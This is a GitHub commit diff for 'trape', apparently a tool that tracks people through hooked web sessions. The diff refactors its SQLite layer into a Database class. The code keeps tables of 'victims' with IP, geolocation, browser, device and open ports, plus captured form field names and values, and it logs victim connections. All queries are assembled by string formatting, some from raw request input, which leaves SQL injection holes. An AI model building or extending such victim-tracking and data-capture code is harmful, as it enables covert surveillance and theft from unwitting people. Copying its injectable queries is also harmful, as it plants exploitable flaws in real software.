Skip to content

Commit 00cc2aa

Browse files
author
Jose Pino
authored
organize db
1 parent b33d414 commit 00cc2aa

8 files changed

Lines changed: 125 additions & 120 deletions

File tree

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -86,7 +86,7 @@ This development and others, the participants will be mentioned with name, Twitt
8686

8787
Professional Version
8888
-------
89-
Yes, we also have a professional version with more sophisticated features. If you would like to get the Professional version or request contact us at [email protected]
89+
Yes, we also have a professional version with more sophisticated features. If you would like to get the professional version or request contact us at [email protected]
9090

9191

9292
Happy hacking!

core/db.py

Lines changed: 78 additions & 78 deletions
Original file line numberDiff line numberDiff line change
@@ -11,91 +11,91 @@
1111
#
1212
# Copyright 2017 by boxug / <[email protected]>
1313
#**
14-
1514
import sqlite3
1615

17-
conn = sqlite3.connect("database.db", check_same_thread=False)
18-
19-
def create_db():
20-
c = conn.cursor()
16+
class Database(object):
17+
def __init__(self):
18+
self.conn = sqlite3.connect("database.db", check_same_thread=False)
19+
self.cursor = self.conn.cursor()
20+
21+
def loadDatabase(self):
22+
self.cursor.execute("""CREATE TABLE IF NOT EXISTS "geo" ( `id` TEXT, `city` TEXT, `country_code` TEXT, `country_name` TEXT, `ip` TEXT, `latitude` TEXT, `longitude` TEXT, `metro_code` TEXT, `region_code` TEXT, `region_name` TEXT, `time_zone` TEXT, `zip_code` TEXT, `isp` TEXT, `ua` TEXT, PRIMARY KEY(`id`) )""")
23+
self.cursor.execute("""CREATE TABLE IF NOT EXISTS "networks" ( `id` TEXT, `ip` TEXT, `public_ip` INTEGER, `network` TEXT, `date` TEXT )""")
24+
self.cursor.execute("""CREATE TABLE IF NOT EXISTS "requests" ( `id` TEXT, `user_id` TEXT, `site` TEXT, `fid` TEXT, `name` TEXT, `value` TEXT, `date` TEXT )""")
25+
self.cursor.execute("""CREATE TABLE IF NOT EXISTS "victims" ( `id` TEXT, `ip` TEXT, `date` TEXT, `time` REAL, `bVersion` TEXT, `browser` TEXT, `device` TEXT, `cpu` TEXT, `ports` TEXT, `status` TEXT )""")
26+
self.cursor.execute("""CREATE TABLE IF NOT EXISTS "clicks" ( `id` TEXT, `site` TEXT, `date` TEXT )""")
27+
self.conn.commit()
28+
return True
2129

22-
c.execute("""CREATE TABLE IF NOT EXISTS "geo" ( `id` TEXT, `city` TEXT, `country_code` TEXT, `country_name` TEXT, `ip` TEXT, `latitude` TEXT, `longitude` TEXT, `metro_code` TEXT, `region_code` TEXT, `region_name` TEXT, `time_zone` TEXT, `zip_code` TEXT, `isp` TEXT, `ua` TEXT, PRIMARY KEY(`id`) )""")
23-
c.execute("""CREATE TABLE IF NOT EXISTS "networks" ( `id` TEXT, `ip` TEXT, `public_ip` INTEGER, `network` TEXT, `date` TEXT )""")
24-
c.execute("""CREATE TABLE IF NOT EXISTS "requests" ( `id` TEXT, `user_id` TEXT, `site` TEXT, `fid` TEXT, `name` TEXT, `value` TEXT, `date` TEXT )""")
25-
c.execute("""CREATE TABLE IF NOT EXISTS "victims" ( `id` TEXT, `ip` TEXT, `date` TEXT, `time` REAL, `bVersion` TEXT, `browser` TEXT, `device` TEXT, `cpu` TEXT, `ports` TEXT, `status` TEXT )""")
26-
c.execute("""CREATE TABLE IF NOT EXISTS "clicks" ( `id` TEXT, `site` TEXT, `date` TEXT )""")
27-
conn.commit()
28-
return True
30+
def sql_execute(self, sentence):
31+
self.cursor.execute(sentence)
32+
return self.cursor.fetchall()
2933

30-
def sql_execute(sentence):
31-
c = conn.cursor()
32-
c.execute(sentence)
33-
return c.fetchall()
34+
def sql_one_row(self, sentence, column):
35+
self.cursor.execute(sentence)
36+
return self.cursor.fetchone()[column]
3437

35-
def sql_one_row(sentence, column):
36-
c = conn.cursor()
37-
c.execute(sentence)
38-
return c.fetchone()[column]
38+
def sql_insert(self, sentence):
39+
self.cursor.execute(sentence)
40+
self.conn.commit()
41+
return True
3942

40-
def sql_insert(sentence):
41-
c = conn.cursor()
42-
c.execute(sentence)
43-
conn.commit()
44-
return True
43+
def prop_sentences_stats(self, type, vId = None):
44+
return {
45+
'get_data' : "SELECT victims.*, geo.*, victims.ip AS ip_local, COUNT(clicks.id) FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN clicks ON clicks.id = victims.id GROUP BY victims.id ORDER BY victims.time DESC",
46+
'all_networks' : "SELECT networks.* FROM networks ORDER BY id",
47+
'get_preview' : "SELECT victims.*, geo.*, victims.ip AS ip_local FROM victims INNER JOIN geo ON victims.id = geo.id WHERE victims.id = '%s'" % (vId),
48+
'id_networks' : "SELECT networks.* FROM networks WHERE id = '%s'" % (vId),
49+
'get_requests' : "SELECT requests.*, geo.ip FROM requests INNER JOIN geo on geo.id = requests.user_id ORDER BY requests.date DESC, requests.id ",
50+
'get_sessions' : "SELECT COUNT(*) AS Total FROM networks",
51+
'get_clicks' : "SELECT COUNT(*) AS Total FROM clicks",
52+
'get_online' : "SELECT COUNT(*) AS Total FROM victims WHERE status = '%s'" % ('online')
53+
}.get(type, False)
4554

46-
def prop_sentences_stats(type, vId = None):
47-
return {
48-
'get_data' : "SELECT victims.*, geo.*, victims.ip AS ip_local, COUNT(clicks.id) FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN clicks ON clicks.id = victims.id GROUP BY victims.id ORDER BY victims.time DESC",
49-
'all_networks' : "SELECT networks.* FROM networks ORDER BY id",
50-
'get_preview' : "SELECT victims.*, geo.*, victims.ip AS ip_local FROM victims INNER JOIN geo ON victims.id = geo.id WHERE victims.id = '%s'" % (vId),
51-
'id_networks' : "SELECT networks.* FROM networks WHERE id = '%s'" % (vId),
52-
'get_requests' : "SELECT requests.*, geo.ip FROM requests INNER JOIN geo on geo.id = requests.user_id ORDER BY requests.date DESC, requests.id ",
53-
'get_sessions' : "SELECT COUNT(*) AS Total FROM networks",
54-
'get_clicks' : "SELECT COUNT(*) AS Total FROM clicks",
55-
'get_online' : "SELECT COUNT(*) AS Total FROM victims WHERE status = '%s'" % ('online')
56-
}.get(type, False)
55+
def sentences_stats(self, type, vId = None):
56+
return self.sql_execute(self.prop_sentences_stats(type, vId))
5757

58-
def sentences_stats(type, vId = None):
59-
return sql_execute(prop_sentences_stats(type, vId))
58+
def prop_sentences_victim(self, type, data = None):
59+
if type == 'count_victim':
60+
return "SELECT COUNT(*) AS C FROM victims WHERE id = '%s'" % (data)
61+
elif type == 'count_times':
62+
return "SELECT COUNT(*) AS C FROM clicks WHERE id = '%s'" % (data)
63+
elif type == 'update_victim':
64+
return "UPDATE victims SET ip = '%s', date = '%s', bVersion = '%s', browser = '%s', device = '%s', ports = '%s', time = '%s', cpu = '%s', status = '%s' WHERE id = '%s'" % (data[0].ip, data[0].date, data[0].version, data[0].browser, data[0].device, data[0].ports, data[2], data[0].cpu, 'online', data[1])
65+
elif type == 'update_victim_geo':
66+
return "UPDATE geo SET city = '%s', country_code = '%s', country_name = '%s', ip = '%s', latitude = '%s', longitude = '%s', metro_code = '%s', region_code = '%s', region_name = '%s', time_zone = '%s', zip_code = '%s', isp = '%s', ua='%s' WHERE id = '%s'" % (data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua, data[1])
67+
elif type == 'insert_victim':
68+
return "INSERT INTO victims(id, ip, date, bVersion, browser, device, ports, time, cpu, status) VALUES('%s','%s', '%s','%s', '%s','%s', '%s', '%s', '%s', '%s')" % (data[1], data[0].ip, data[0].date, data[0].version, data[0].browser, data[0].device, data[0].ports, data[2], data[0].cpu, 'online')
69+
elif type == 'insert_victim_geo':
70+
return "INSERT INTO geo(id, city, country_code, country_name, ip, latitude, longitude, metro_code, region_code, region_name, time_zone, zip_code, isp, ua) VALUES('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (data[1], data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua)
71+
elif type == 'count_victim_network':
72+
return "SELECT COUNT(*) AS C FROM networks WHERE id = '%s' AND network = '%s'" % (data[0], data[1])
73+
elif type == 'delete_networks':
74+
return "DELETE FROM networks WHERE id = '%s'" % (data[0])
75+
elif type == 'update_network':
76+
return "UPDATE networks SET date = '%s' WHERE id = '%s' AND network = '%s'" % (data[2], data[0], data[1])
77+
elif type == 'insert_networks':
78+
return "INSERT INTO networks(id, public_ip, ip, network, date) VALUES('%s','%s', '%s', '%s','%s')" % (data[0], data[1], data[2], data[3], data[4])
79+
elif type == 'insert_requests':
80+
return "INSERT INTO requests(id, user_id, site, fid, name, value, date) VALUES('%s', '%s','%s', '%s', '%s','%s', '%s')" % (data[0].sId, data[0].id, data[0].site, data[0].fid, data[0].name, data[0].value, data[1])
81+
elif type == 'insert_click':
82+
return "INSERT INTO clicks(id, site, date) VALUES('%s', '%s','%s')" % (data[0], data[1], data[2])
83+
elif type == 'report_online':
84+
return "UPDATE victims SET status = '%s' WHERE id = '%s'" % ('online', data[0])
85+
elif type == 'clean_online':
86+
return "UPDATE victims SET status = '%s' " % ('offline')
87+
elif type == 'disconnect_victim':
88+
return "UPDATE victims SET status = '%s' WHERE id = '%s'" % ('offline', data)
89+
else:
90+
return False
6091

61-
def prop_sentences_victim(type, data = None):
62-
if type == 'count_victim':
63-
return "SELECT COUNT(*) AS C FROM victims WHERE id = '%s'" % (data)
64-
elif type == 'count_times':
65-
return "SELECT COUNT(*) AS C FROM clicks WHERE id = '%s'" % (data)
66-
elif type == 'update_victim':
67-
return "UPDATE victims SET ip = '%s', date = '%s', bVersion = '%s', browser = '%s', device = '%s', ports = '%s', time = '%s', cpu = '%s', status = '%s' WHERE id = '%s'" % (data[0].ip, data[0].date, data[0].version, data[0].browser, data[0].device, data[0].ports, data[2], data[0].cpu, 'online', data[1])
68-
elif type == 'update_victim_geo':
69-
return "UPDATE geo SET city = '%s', country_code = '%s', country_name = '%s', ip = '%s', latitude = '%s', longitude = '%s', metro_code = '%s', region_code = '%s', region_name = '%s', time_zone = '%s', zip_code = '%s', isp = '%s', ua='%s' WHERE id = '%s'" % (data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua, data[1])
70-
elif type == 'insert_victim':
71-
return "INSERT INTO victims(id, ip, date, bVersion, browser, device, ports, time, cpu, status) VALUES('%s','%s', '%s','%s', '%s','%s', '%s', '%s', '%s', '%s')" % (data[1], data[0].ip, data[0].date, data[0].version, data[0].browser, data[0].device, data[0].ports, data[2], data[0].cpu, 'online')
72-
elif type == 'insert_victim_geo':
73-
return "INSERT INTO geo(id, city, country_code, country_name, ip, latitude, longitude, metro_code, region_code, region_name, time_zone, zip_code, isp, ua) VALUES('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (data[1], data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua)
74-
elif type == 'count_victim_network':
75-
return "SELECT COUNT(*) AS C FROM networks WHERE id = '%s' AND network = '%s'" % (data[0], data[1])
76-
elif type == 'delete_networks':
77-
return "DELETE FROM networks WHERE id = '%s'" % (data[0])
78-
elif type == 'update_network':
79-
return "UPDATE networks SET date = '%s' WHERE id = '%s' AND network = '%s'" % (data[2], data[0], data[1])
80-
elif type == 'insert_networks':
81-
return "INSERT INTO networks(id, public_ip, ip, network, date) VALUES('%s','%s', '%s', '%s','%s')" % (data[0], data[1], data[2], data[3], data[4])
82-
elif type == 'insert_requests':
83-
return "INSERT INTO requests(id, user_id, site, fid, name, value, date) VALUES('%s', '%s','%s', '%s', '%s','%s', '%s')" % (data[0].sId, data[0].id, data[0].site, data[0].fid, data[0].name, data[0].value, data[1])
84-
elif type == 'insert_click':
85-
return "INSERT INTO clicks(id, site, date) VALUES('%s', '%s','%s')" % (data[0], data[1], data[2])
86-
elif type == 'report_online':
87-
return "UPDATE victims SET status = '%s' WHERE id = '%s'" % ('online', data[0])
88-
elif type == 'clean_online':
89-
return "UPDATE victims SET status = '%s' " % ('offline')
90-
elif type == 'disconnect_victim':
91-
return "UPDATE victims SET status = '%s' WHERE id = '%s'" % ('offline', data)
92-
else:
93-
return False
92+
def sentences_victim(self, type, data = None, sRun = 1, column = 0):
93+
if sRun == 2:
94+
return self.sql_insert(self.prop_sentences_victim(type, data))
95+
elif sRun == 3:
96+
return self.sql_one_row(self.prop_sentences_victim(type, data), column)
97+
else:
98+
return self.sql_execute(self.prop_sentences_victim(type, data))
9499

95-
def sentences_victim(type, data = None, sRun = 1, column = 0):
96-
if sRun == 2:
97-
return sql_insert(prop_sentences_victim(type, data))
98-
elif sRun == 3:
99-
return sql_one_row(prop_sentences_victim(type, data), column)
100-
else:
101-
return sql_execute(prop_sentences_victim(type, data))
100+
def __del__(self):
101+
self.conn.close()

core/sockets.py

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,6 @@
1111
#
1212
# Copyright 2017 by boxug / <[email protected]>
1313
#**
14-
1514
from socket import gethostname, gethostbyname
1615
from threading import Lock
1716
from flask import Flask, render_template, session, request, json
@@ -20,18 +19,21 @@
2019
import core.victim
2120
from victim_objects import attacks_hook_message
2221
from core.utils import utils
23-
from core.db import sentences_victim
22+
from core.db import Database
2423

2524
# Main parts, to generate relationships among others
2625
trape = core.stats.trape
2726
app = core.stats.app
2827

28+
# call database
29+
db = Database()
30+
2931
async_mode = None
3032
socketio = SocketIO(app, async_mode=async_mode)
3133
thread = None
3234
thread_lock = Lock()
3335

34-
sentences_victim('clean_online', None, 2)
36+
db.sentences_victim('clean_online', None, 2)
3537

3638
def background_thread():
3739
count = 0
@@ -48,12 +50,12 @@ def send_room_message(message):
4850
utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "@" + utils.Color['white'] + "]" + " " + hookAction + utils.Color['blue'] + message['data']['message'] + utils.Color['white'] + ' in ' + utils.Color['green'] + message['room'] + utils.Color['white'])
4951
emit('my_response', {'data': message['data'], 'count': session['receive_count']},room = message['room'])
5052

51-
@socketio.on("disconnect_request", namespace='/trape')
53+
@socketio.on("disconnect_request", namespace="/trape")
5254
def disconnect_request(d):
5355
session['receive_count'] = session.get('receive_count', 0) + 1
5456
emit('my_response', {'data': 'Disconnected!', 'count': session['receive_count']})
5557
utils.Go(utils.Color['white'] + "[" + utils.Color['redBold'] + "-" + utils.Color['white'] + "]" + utils.Color['red'] + " " + "A victim has closed her connection with the following id:" + " " + utils.Color['green'] + d['vId'] + utils.Color['white'])
56-
sentences_victim('disconnect_victim', d['vId'], 2)
58+
db.sentences_victim('disconnect_victim', d['vId'], 2)
5759

5860
@socketio.on_error("/trape")
5961
def error_handler(e):

core/stats.py

Lines changed: 13 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -14,12 +14,15 @@
1414
import urllib2
1515
from flask import Flask, render_template, session, request, json
1616
from core.trape import Trape
17-
from core.db import sentences_stats
17+
from core.db import Database
1818

1919
# Main parts, to generate relationships among others
2020
trape = Trape()
2121
app = Flask(__name__, template_folder='../templates', static_folder='../static')
2222

23+
# call database
24+
db = Database()
25+
2326
# preview header tool in console
2427
trape.header()
2528

@@ -41,24 +44,24 @@ def login():
4144

4245
@app.route("/get_data", methods=["POST"])
4346
def home_get_dat():
44-
d = sentences_stats('get_data')
45-
n = sentences_stats('all_networks')
47+
d = db.sentences_stats('get_data')
48+
n = db.sentences_stats('all_networks')
4649

4750
('clean_online')
48-
rows = sentences_stats('get_clicks')
51+
rows = db.sentences_stats('get_clicks')
4952
c = rows[0][0]
50-
rows = sentences_stats('get_sessions')
53+
rows = db.sentences_stats('get_sessions')
5154
s = rows[0][0]
52-
rows = sentences_stats('get_online')
55+
rows = db.sentences_stats('get_online')
5356
o = rows[0][0]
5457

5558
return json.dumps({'status' : 'OK', 'd' : d, 'n' : n, 'c' : c, 's' : s, 'o' : o});
5659

5760
@app.route("/get_preview", methods=["POST"])
5861
def home_get_preview():
5962
vId = request.form['vId']
60-
d = sentences_stats('get_preview', vId)
61-
n = sentences_stats('id_networks', vId)
63+
d = db.sentences_stats('get_preview', vId)
64+
n = db.sentences_stats('id_networks', vId)
6265
return json.dumps({'status' : 'OK', 'vId' : vId, 'd' : d, 'n' : n});
6366

6467
@app.route("/get_title", methods=["POST"])
@@ -70,6 +73,6 @@ def home_get_title():
7073

7174
@app.route("/get_requests", methods=["POST"])
7275
def home_get_requests():
73-
d = sentences_stats('get_requests')
76+
d = db.sentences_stats('get_requests')
7477

75-
return json.dumps({'status' : 'OK', 'd' : d});
78+
return json.dumps({'status' : 'OK', 'd' : d});

core/trape.py

Lines changed: 2 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,6 @@
1818
import sys
1919
import os
2020
from core.utils import utils
21-
from core.db import create_db
2221

2322
class Trape(object):
2423
def __init__(self):
@@ -67,14 +66,10 @@ def rootConnection(self):
6766
utils.Go(utils.Color["redBold"] + "[x] " + utils.Color["white"] + "You must run in mode " + utils.Color["whiteBold"] + "root" + utils.Color["white"] + " to be able to operate.")
6867
exit(0)
6968

70-
# Database creation.
71-
def runDatabase(self):
72-
create_db()
73-
69+
# Detect operating system, to compose the compatibility
7470
def loadCheck(self):
75-
# Detect operating system, to compose the compatibility
7671
utils.checkOS()
7772

7873
# the main file (trape.py)
7974
def main(self):
80-
import core.sockets
75+
import core.sockets

0 commit comments

Comments
 (0)